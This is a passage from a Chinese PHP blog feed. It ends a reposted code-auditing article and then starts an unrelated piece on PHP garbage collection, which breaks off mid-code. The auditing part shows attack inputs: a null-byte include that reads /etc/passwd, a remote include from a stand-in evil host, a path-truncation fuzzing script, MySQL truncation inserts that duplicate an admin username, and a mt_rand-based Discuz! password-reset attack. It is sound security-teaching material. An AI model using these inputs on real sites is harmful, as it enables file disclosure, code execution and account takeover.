&nbsp;当PHP版本到了5.2.1后，通过修改算法修补了奇数和偶数的播种相等的问题，这样也导致<br />了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: Blue;">mt_srand</span><span style="color: Olive;">(</span><span style="color: Maroon;">42</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: Blue;">mt_rand</span><span style="color: Olive;">()</span><span style="color: Gray;">;<br /></span><span style="color: #ffa500;">//php&lt;=5.20 1387371436</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//php&gt;5.20 1354439493&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;正是这个原因，也要求了我们的exp的运行环境：当目标&gt;5.20时候，我们exp运行的环境也<br />要是&gt;5.20的版本，反过来也是一样。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;从上面的测试及分析来看，php&lt;5.26不管有没有定义播种，mt_rand处理的数据都是不安<br />全的。在web应用里很多都使用mt_rand来处理随机的session，比如密码找回功能等等，这样<br />的后果就是被攻击者恶意利用直接修改密码。<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。（在后面我们将<br />实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞）<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：php4 php5&lt;5.2.6<br />系统要求：无<br />审计策略：查找mt_srand/mt_rand<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.6 特殊字符<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;其实“特殊字符”也没有特定的标准定义，主要是在一些code hacking发挥着特殊重作用<br />的一类字符。下面就举几个例子：<br />&nbsp;&nbsp; <br />5.6.1 截断<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;其中最有名的数大家都熟悉的null字符截断。<br />&nbsp;<br />5.6.1.1 include截断<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"> <br /></span><span style="color: Green;">include</span><span style="color: Gray;"> </span><span style="color: #00008b;">$_GET</span><span style="color: Olive;">[</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">action</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">]</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">.php</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">; <br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;提交“action=/etc/passwd%00”中的“%00”将截断后面的“.php”，但是除了“%00”还有没有<br />其他的字符可以实现截断使用呢？肯定有人想到了远程包含的url里问号“?”的作用，通过提交<br />“action=http://www.hacksite.com/evil-code.txt?”这里“?”实现了“伪截断”：），好象这个<br />看上去不是那么舒服那么我们简单写个代码fuzz一下：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">////////////////////</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">////var5.php代码:</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">////include $_GET[&quot;action&quot;].&quot;.php&quot;; </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">////print strlen(realpath(&quot;./&quot;))+strlen($_GET[&quot;action&quot;]);&nbsp; </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">///////////////////</span><span style="color: Gray;"><br /></span><span style="color: Blue;">ini_set</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">max_execution_time</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: Maroon;">0</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #00008b;">$str</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;</span><span style="color: Maroon;">50000</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"><br /></span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$str</span><span style="color: Gray;">=</span><span style="color: #00008b;">$str</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$resp</span><span style="color: Gray;">=</span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">http://127.0.0.1/var/var5.php?action=1.txt</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: #00008b;">$str</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #ffa500;">//1.txt里的代码为print &quot;hi&quot;;</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Blue;">strpos</span><span style="color: Olive;">(</span><span style="color: #00008b;">$resp</span><span style="color: Gray;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">hi</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;"> !== </span><span style="color: Green;">false</span><span style="color: Olive;">){</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Blue;">print</span><span style="color: Gray;"> </span><span style="color: #00008b;">$i</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">exit</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;经过测试字符“.”、“ /”或者2个字符的组合，在一定的长度时将被截断，win系统和*nix<br />的系统长度不一样，当win下strlen(realpath(&quot;./&quot;))+strlen($_GET[&quot;action&quot;])的长度大于<br />256时被截断，对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候<br />就可以利用上面的技巧包含本地文件了。（此漏洞由cloie#ph4nt0m.org最先发现]）<br />&nbsp;<br />&nbsp;<br />5.6.1.2 数据截断<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;对于很多web应用文件在很多功能是不容许重复数据的，比如用户注册功能等。一般的应<br />用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据，然<br />而我们可以通过“数据截断”等来饶过这些判断，数据库在处理时候产生截断导致插入重复数<br />据。<br />&nbsp;&nbsp; &nbsp;<br />1) Mysql SQL Column Truncation Vulnerabilities<br />&nbsp;&nbsp; <br />&nbsp;&nbsp; &nbsp;这个漏洞又是大牛Stefan Esser发现的（Stefan Esser是我的偶像:)），这个是由于mysql<br />的sql_mode设置为default的时候，即没有开启STRICT_ALL_TABLES选项时，MySQL对于插入超<br />长的值只会提示warning，而不是error（如果是error就插入不成功），这样可能会导致一些截<br />断问题。测试如下：<br />&nbsp;&nbsp; &nbsp;<br />--code-------------------------------------------------------------------------<br />mysql&gt; insert into truncated_test(`username`,`password`) values(&quot;admin&quot;,&quot;pass&quot;);<br />&nbsp;<br />mysql&gt; insert into truncated_test(`username`,`password`) values(&quot;admin&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;x&quot;, &quot;new_pass&quot;);<br />Query OK, 1 row affected, 1 warning (0.01 sec)<br />&nbsp;<br />mysql&gt; select * from truncated_test;<br />+----+------------+----------+<br />| id | username&nbsp; &nbsp;| password |<br />+----+------------+----------+<br />| 1 | admin&nbsp; &nbsp; &nbsp; | pass&nbsp; &nbsp; &nbsp;|<br />| 2 | admin&nbsp; &nbsp; &nbsp; | new_pass |<br />+----+------------+----------+<br />2 rows in set (0.00 sec)<br />-------------------------------------------------------------------------------<br />&nbsp;<br />2) Mysql charset Truncation vulnerability<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;这个漏洞是80sec发现的，当mysql进行数据存储处理utf8等数据时对某些字符导致数据<br />截断。测试如下：<br />&nbsp;&nbsp; &nbsp;<br />--code-------------------------------------------------------------------------<br />mysql&gt; insert into truncated_test(`username`,`password`) values(concat(&quot;admin&quot;,0xc1), &quot;new_pass2&quot;);<br />Query OK, 1 row affected, 1 warning (0.00 sec)<br />&nbsp;<br />mysql&gt; select * from truncated_test;<br />+----+------------+----------+<br />| id | username&nbsp; &nbsp;| password |<br />+----+------------+----------+<br />| 1 | admin&nbsp; &nbsp; &nbsp; | pass&nbsp; &nbsp; &nbsp; |<br />| 2 | admin&nbsp; &nbsp; &nbsp; | new_pass&nbsp; |<br />| 3 | admin&nbsp; &nbsp; &nbsp; | new_pass2 |<br />+----+------------+----------+<br />2 rows in set (0.00 sec)<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;很多的web应用程序没有考虑到这些问题，只是在数据存储前简单查询数据是否包含相同<br />数据，如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$result = mysql_query(&quot;SELECT * from test_user where user=&quot;$user&quot; &quot;);<br />&nbsp; ....<br />if(@mysql_fetch_array($result, MYSQL_NUM)) {<br />&nbsp;&nbsp; &nbsp;die(&quot;already exist&quot;);<br />}<br />-------------------------------------------------------------------------------<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：通读代码<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />5.6.1.3 文件操作里的特殊字符<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;文件操作里有很多特殊的字符，发挥特别的作用，很多web应用程序没有注意处理这些字<br />符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视，这个<br />主要体现在上传文件或者写文件上，导致直接写webshell。另外对于windows系统对“.\..\”<br />进行系统转跳等等。<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;下面还给大家介绍一个非常有意思的问题：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />//Is this code vul?<br />if( eregi(&quot;.php&quot;,$url) ){<br />&nbsp;&nbsp; &nbsp;die(&quot;ERR&quot;);<br />}<br />$fileurl=str_replace($webdb[www_url],&quot;&quot;,$url);<br />.....<br />header(&quot;Content-Disposition: attachment; filename=&quot;.$filename);<br />-------------------------------------------------------------------------------<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;很多人看出来了上面的代码的问题，程序首先禁止使用“.php”后缀。但是下面居然接了<br />个str_replace替换$webdb[www_url]为空，那么我们提交“.p$webdb[www_url]hp”就可以饶过<br />了。那么上面的代码杂fix呢？有人给出了如下代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />$fileurl=str_replace($webdb[www_url],&quot;&quot;,$url);<br />if( eregi(&quot;.php&quot;,$url) ){<br />&nbsp;&nbsp; &nbsp;die(&quot;ERR&quot;);<br />}<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;str_replace提到前面了，很完美的解决了str_replace代码的安全问题，但是问题不是那<br />么简单，上面的代码在某些系统上一样可以突破。接下来我们先看看下面的代码：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br /></span><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"><br /></span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">0</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;</span><span style="color: Maroon;">255</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"><br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$url</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">1.ph</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: #00008b;">$tmp</span><span style="color: Gray;"> = @</span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$url</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: Green;">empty</span><span style="color: Olive;">(</span><span style="color: #00008b;">$tmp</span><span style="color: Olive;">))</span><span style="color: Gray;"> </span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: Blue;">chr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;<br /></span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; <br /></span><span style="color: Blue;">?&gt;</span><span style="color: Black;"><br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;我们在windows系统运行上面的代码得到如下字符* &lt; &gt; ? P p都可以打开目录下的1.php。<br />&nbsp;<br />+++++++++++++++++++++++++<br />漏洞审计策略<br />-------------------------<br />PHP版本要求：无<br />系统要求：无<br />审计策略：文读取件操作函数<br />+++++++++++++++++++++++++<br />&nbsp;<br />&nbsp;<br />六、怎么进一步寻找新的字典<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;上面我们列举很多的字典，但是很多都是已经公开过的漏洞或者方式，那么我们怎么进一<br />步找到新的字典或者利用方式呢？<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;* 分析和学习别人发现的漏洞或者exp，总结出漏洞类型及字典。<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;* 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式。<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;* fuzz php的函数，找到新的有问题的函数（不一定非要溢出的），如上一章的4.6的部分<br />很多都可以简单的fuzz脚本可以测试出来。<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;* 分析php源代码，发现新的漏洞函数“特性”或者漏洞。（在上一节里介绍的那些“漏洞审<br />计策略”里，都没有php源代码的分析，如果你要进一步找到新的字典，可以在php源代码的基础<br />上分析下成因，然后根据这个成因来分析寻找新的漏洞函数“特性”或者漏洞。）（我们以后会<br />陆续公布一些我们对php源代码的分析）<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;* 有条件或者机会和开发者学习，找到他们实现某些常用功能的代码的缺陷或者容易忽<br />视的问题<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;* 你有什么要补充的吗？ ：）<br />&nbsp; <br />&nbsp;<br />七、DEMO<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;* DEMO -- Discuz! Reset User Password 0day Vulnerability 分析<br />&nbsp;&nbsp; &nbsp;（Exp:http://www.80vul.com/dzvul/sodb/14/sodb-2008-14.txt）<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;PHP版本要求:php4 php5&lt;5.2.6<br />&nbsp;&nbsp; &nbsp;系统要求: 无<br />&nbsp;&nbsp; &nbsp;审计策略:查找mt_srand/mt_rand<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;第一步 安装Discuz! 6.1后利用grep查找mt_srand得到：<br />&nbsp;<br />-------------------------------------------------------------------------------<br />heige@heige-desktop:~/dz6/upload$ grep -in &quot;mt_srand&quot; -r ./ --colour -5<br />./include/global.func.php-694-&nbsp; $GLOBALS[&quot;rewritecompatible&quot;] &amp;&amp; $name = rawurlencode($name);<br />./include/global.func.php-695-&nbsp; return &quot;&lt;a href=&quot;tag-&quot;.$name.&quot;.html&quot;&quot;.stripslashes($extra).&quot;&gt;&quot;;<br />./include/global.func.php-696-}<br />./include/global.func.php-697-<br />./include/global.func.php-698-function random($length, $numeric = 0) {<br />./include/global.func.php:699:&nbsp; PHP_VERSION &lt; &quot;4.2.0&quot; &amp;&amp; mt_srand((double)microtime() * 1000000);<br />./include/global.func.php-700-&nbsp; if($numeric) {<br />./include/global.func.php-701-&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $hash = sprintf(&quot;%0&quot;.$length.&quot;d&quot;, mt_rand(0, pow(10, $length) - 1));<br />./include/global.func.php-702-&nbsp; } else {<br />./include/global.func.php-703-&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $hash = &quot;&quot;;<br />./include/global.func.php-704-&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $chars = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz&quot;;<br />--<br />./include/discuzcode.func.php-30-<br />./include/discuzcode.func.php-31-if(!isset($_DCACHE[&quot;bbcodes&quot;]) || !is_array($_DCACHE[&quot;bbcodes&quot;]) || !is_array($_DCACHE[&quot;smilies&quot;])) {<br />./include/discuzcode.func.php-32-&nbsp; &nbsp; &nbsp; &nbsp;@include DISCUZ_ROOT.&quot;./forumdata/cache/cache_bbcodes.php&quot;;<br />./include/discuzcode.func.php-33-}<br />./include/discuzcode.func.php-34-<br />./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);<br />./include/discuzcode.func.php-36-<br />./include/discuzcode.func.php-37-function attachtag($pid, $aid, &amp;$postlist) {<br />./include/discuzcode.func.php-38-&nbsp; &nbsp; &nbsp; &nbsp;global $attachrefcheck, $thumbstatus, $extcredits, $creditstrans, $ftp, $exthtml;<br />./include/discuzcode.func.php-39-&nbsp; &nbsp; &nbsp; &nbsp;$attach = $postlist[$pid][&quot;attachments&quot;][$aid];<br />./include/discuzcode.func.php-40-&nbsp; &nbsp; &nbsp; &nbsp;if($attach[&quot;attachimg&quot;]) {<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;有两个文件用到了mt_srand()，第1是在./include/global.func.php的随机函数random()里：<br />&nbsp;<br />--code-------------------------------------------------------------------------<br />&nbsp;PHP_VERSION &lt; &quot;4.2.0&quot; &amp;&amp; mt_srand((double)microtime() * 1000000);<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;判断了版本，如果是PHP_VERSION &gt; &quot;4.2.0&quot;使用php本身默认的播种。从上一章里的分<br />析我们可以看得出来，使用php本身默认的播种的分程序两种情况：<br />&nbsp;<br />1) &quot;Cross Application Attacks&quot; 这个思路是只要目标上有使用使用的程序里定义了类似<br />mt_srand((double)microtime() * 1000000)的播种的话，又很有可能被暴力。在dz这里不需<br />要Cross Application，因为他本身有文件就定义了，就是上面的第2个文件： <br />&nbsp;<br />--code-------------------------------------------------------------------------<br />./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);<br />-------------------------------------------------------------------------------<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;这里我们肯定dz是存在这个漏洞的，文章给出来的exp也就是基于这个的。（具体exp利用<br />的流程有兴趣的可以自己分析下]）<br />&nbsp;<br />2) 有的人认为如果没有mt_srand((double)microtime() * 1000000);这里的定义，那么dz就<br />不存在漏洞，这个是不正确的。首先你不可以保证别人使用的其他应用程序没有定义，再次不<br />利用&quot;Cross Application Attacks&quot;，5.2.6&gt;php&gt;4.2.0 php本身默认播种的算法也不是很强<br />悍（分析详见上），也是有可以暴力出来，只是速度要慢一点。<br />&nbsp;<br />&nbsp;<br />八、后话<br />&nbsp;<br />&nbsp;&nbsp; &nbsp;本文是80vul的三大马甲：80vul-A，80vul-B，80vul-C集体智慧的结晶，尤其是80vul-B贡<br />献了不少新发现。另外需要感谢的是文章里提到的那些漏洞的发现者，没有他们的成果也就<br />没有本文。本文没有写“参考”，因为本文是一个总结性的文挡，有太多的连接需要提供限于篇<br />幅就没有一一列举，有心的读者可以自行google。另外原本没有打算公布此文，因为里面包含<br />了太多应用程序的0day，而且有太多的不尊重别人成果的人，老是利用从别人那学到的技术来<br />炫耀，甚至牟取利益。在这里我们希望你可以在本文里学到些东西，更加希望如果通过本文你<br />找到了某些应用程序的0day，请低调处理，或者直接提交给官方修补，谢谢大家！！<br />&nbsp;<br />&nbsp;<br />九、附录<br />&nbsp;<br />[1] http://bbs.phpchina.com/attachment.php?aid=22294<br />[2] http://www.php-security.org/<br />[3] http://bugs.php.net/bug.php?id=40114<br />&nbsp;<br />-EOF-<br />&nbsp;<br />原文：http://www.ph4nt0m.org-a.googlepages.com/PSTZine_0x03_0x06.html</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.ieliwb.com/php-security-ph4nt0m/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP垃圾回收机制</title>
		<link>http://www.ieliwb.com/php-rubish/</link>
		<comments>http://www.ieliwb.com/php-rubish/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 13:04:36 +0000</pubDate>
		<dc:creator>花太香齐</dc:creator>
				<category><![CDATA[PHP/WEB]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[垃圾回收机制]]></category>

		<guid isPermaLink="false">http://localhost/wordpress/?p=143</guid>
		<description><![CDATA[<p>某些语言，最典型的如C，需要你显式地要求分配内存当你创建数据结构。一旦你分配到内存，就可以在变量中存储信息。同时你也需要在结束使用变量时释放内存，这使机器可以空出内存给其它变量，避免耗光内存。</p>
<p>PHP可以自动进行内存管理，清除不再需要的对象。PHP使用了引用计数(reference counting[......]</p><p class='read-more'><a href='http://www.ieliwb.com/php-rubish/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>某些语言，最典型的如C，需要你显式地要求分配内存当你创建数据结构。一旦你分配到内存，就可以在变量中存储信息。同时你也需要在结束使用变量时释放内存，这使机器可以空出内存给其它变量，避免耗光内存。</p>
<p>PHP可以自动进行内存管理，清除不再需要的对象。PHP使用了引用计数(reference counting)这种单纯的垃圾回收(garbage  collection)机制。每个对象都内含一个引用计数器，每个reference连接到对象，计数器加1。当reference离开生存空间或被设为NULL，计数器减1。当某个对象的引用计数器为零时，PHP知道你将不再需要使用这个对象，释放其所占的内存空间。</p>
<p><strong>一、PHP 垃圾回收机制(Garbage Collector 简称GC)</strong></p>
<p>在PHP中，没有任何变量指向这个对象时，这个对象就成为垃圾。PHP会将其在内存中销毁；这是PHP 的GC垃圾处理机制，防止内存溢出。</p>
<p>当一个  PHP线程结束时，当前占用的所有内存空间都会被销毁，当前程序中所有对象同时被销毁。GC进程一般都跟着每起一个SESSION而开始运行的.gc目的是为了在session文件过期以后自动销毁删除这些文件.</p>
<p><strong>二、__destruct /unset</strong><br />
__destruct() 析构函数，是在垃圾对象被回收时执行。</p>
<p>unset 销毁的是指向对象的变量，而不是这个对象。</p>
<p><strong>三、 Session 与 GC</strong><br />
由于PHP的工作机制，它并没有一个daemon线程来定期的扫描Session  信息并判断其是否失效，当一个有效的请求发生时，PHP 会根据全局变量 session.gc_probability  和session.gc_divisor的值，来决定是否启用一个GC, 在默认情况下， session.gc_probability=1,  session.gc_divisor =100 也就是说有1%的可能性启动GC(也就是说100个请求中只有一个gc会伴随100个中的某个请求而启动).</p>
<p>GC  的工作就是扫描所有的Session信息，用当前时间减去session最后修改的时间，同session.gc_maxlifetime参数进行比较，如果生存时间超过gc_maxlifetime(默认24分钟)  ,就将该session删除。</p>
<p>但是，如果你Web服务器有多个站点，多个站点时,GC处理session可能会出现意想不到的结果，原因就是：GC在工作时，并不会区分不同站点的session.</p>
<p>那么这个时候怎么解决呢？</p>
<p>1. 修改session.save_path,或使用session_save_path() 让每个站点的session保存到一个专用目录，</p>
<p>2. 提供GC的启动率，自然，GC的启动率提高，系统的性能也会相应减低，不推荐。</p>
<p>3. 在代码中判断当前session的生存时间，利用session_destroy()删除.</p>
<p><strong>原理详细分析：</strong><br />
php采用的内存管理和垃圾回收方法是基于引用计数的。在zval结构里有一个refcount是表示引用计数，还有一个is_ref表示是否是个引用变量。那么php代码的实际运行中，又是如何处理的呢？</p>
<p>比如这样的php代码：<br />
$a = “hello”;<br />
$b =  $a;<br />
这时候并不像很多人认为的那样，在内存里把”hello”这个字符串复制了一份，而只是把$b指向了和$a对应的同一个zval，然后把那个zval的refcount  + 1。这样避免了一次内存拷贝。但如果在这之后改变了其中一个变量的值，比如$b.= ”  world”;又会如何呢？这时候才会分配一个新的zval给$b，然后把原先那个zval的refcount &#8211; 1。这就是传说中的copy on  write。就是说，在改变值得时候才会有内存拷贝。</p>
<p>那么引用变量又会如何呢？ 比如<br />
$a = “hello”;<br />
$b = &amp;$a;<br />
和前面一样，$a,  $b还是指向同一个zval。只是还要把这个zval的is_ref置为1。之后再改变$a或者$b的时候就不会再发生拷贝。那么<br />
$a =  “hello”;<br />
$b = &amp;$a;<br />
$c = $a;<br />
这时又会如何呢？因为$c并不是一个引用变量，因此不能和$a,  $b共用一个zval。因此在$c = $a的时候会直接产生一个新的zval。</p>
<p>因此，在php中，使用引用对改善性能并不会有多少作用，通常情况下还会使情况更糟。所以，引用还是只在真正需要的时候才用为好。</p>
<p>再说说垃圾回收。每个zval都有一个refcount表示它的变量的引用数。不管对于普通变量还是引用变量都是如此。refcount的初始值一般为1。每当增加一个引用时就+1，减少一个引用，比如unset时就会-1。当refcount为0的时候，php就会把它释放掉。这就是基于引用计数的垃圾回收方法。</p>
<p>使用zval</p>
<p>初始化zval<br />
MAKE_STD_ZVAL(zval*);<br />
这个宏的左右是创建一个zval，完成初始化（如将ref_count置为1，isref置为false）并把指针赋给参数。</p>
<p>赋值<br />
写扩展的时候不可避免的要用到把一个zval复制到另一个zval，就是类似$a =  $b;的操作。对于简单的值或许手动维护引用计数之类的还不算很麻烦但对于数组，对象之类的就需要一层层递归进去，因此就有了一个zval_copy_ctor来做着件事情。<br />
原有一个zval*  p_zval_b，<br />
zval* p_zval_a;<br />
MAKE_STD_ZVAL(p_zval_a);  //初始化p_zval_a<br />
*p_zval_a =  *p_zval_b;<br />
zval_copy_ctor(p_zval_a);<br />
这里，zval_copy_ctor完成了类似赋值的操作，包括引用计数处理，对于hash值的成员处理等。</p>
<p>释放一个zval则是使用zval_ptr_dtor(**zval)。注意它的参数。它会释放掉为这个zval所分配的内存。</p>
<p><strong>一个实例：</strong></p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;">&nbsp; <br /></span><span style="color: Green;">class</span><span style="color: Gray;"> </span><span style="color: Blue;">ObjectTest</span><span style="color: Olive;">{}</span><span style="color: Gray;">&nbsp; <br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">funTest</span><span style="color: Olive;">(){}</span><span style="color: Gray;">&nbsp; <br />&nbsp; <br /></span><span style="color: #00008b;">$object1</span><span style="color: Gray;"> = </span><span style="color: Green;">new</span><span style="color: Gray;"> </span><span style="color: Blue;">ObjectTest</span><span style="color: Olive;">()</span><span style="color: Gray;">;&nbsp; &nbsp; </span><span style="color: #ffa500;">// 建立一个新对象:&nbsp; 引用计数&nbsp; &nbsp; Reference count = 1 </span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$object2</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$object1</span><span style="color: Gray;">;&nbsp; &nbsp; </span><span style="color: #ffa500;">// 通过引用复制:&nbsp; Reference count = 2 </span><span style="color: Gray;"><br /></span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: #00008b;">$object</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">// 删除一个引用： Reference count = 1 </span><span style="color: Gray;"><br />&nbsp; <br /></span><span style="color: Blue;">funTest</span><span style="color: Olive;">(</span><span style="color: #00008b;">$object2</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; <br /></span><span style="color: #ffa500;">// 通过引用传递对象：&nbsp; &nbsp;</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">// 在函数执行期间： </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//&nbsp; Reference count = 2 </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">// 执行结束后: </span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">// Reference count = 1 </span><span style="color: Gray;"><br />&nbsp; <br /></span><span style="color: Green;">unset</span><span style="color: Olive;">(</span><span style="color: 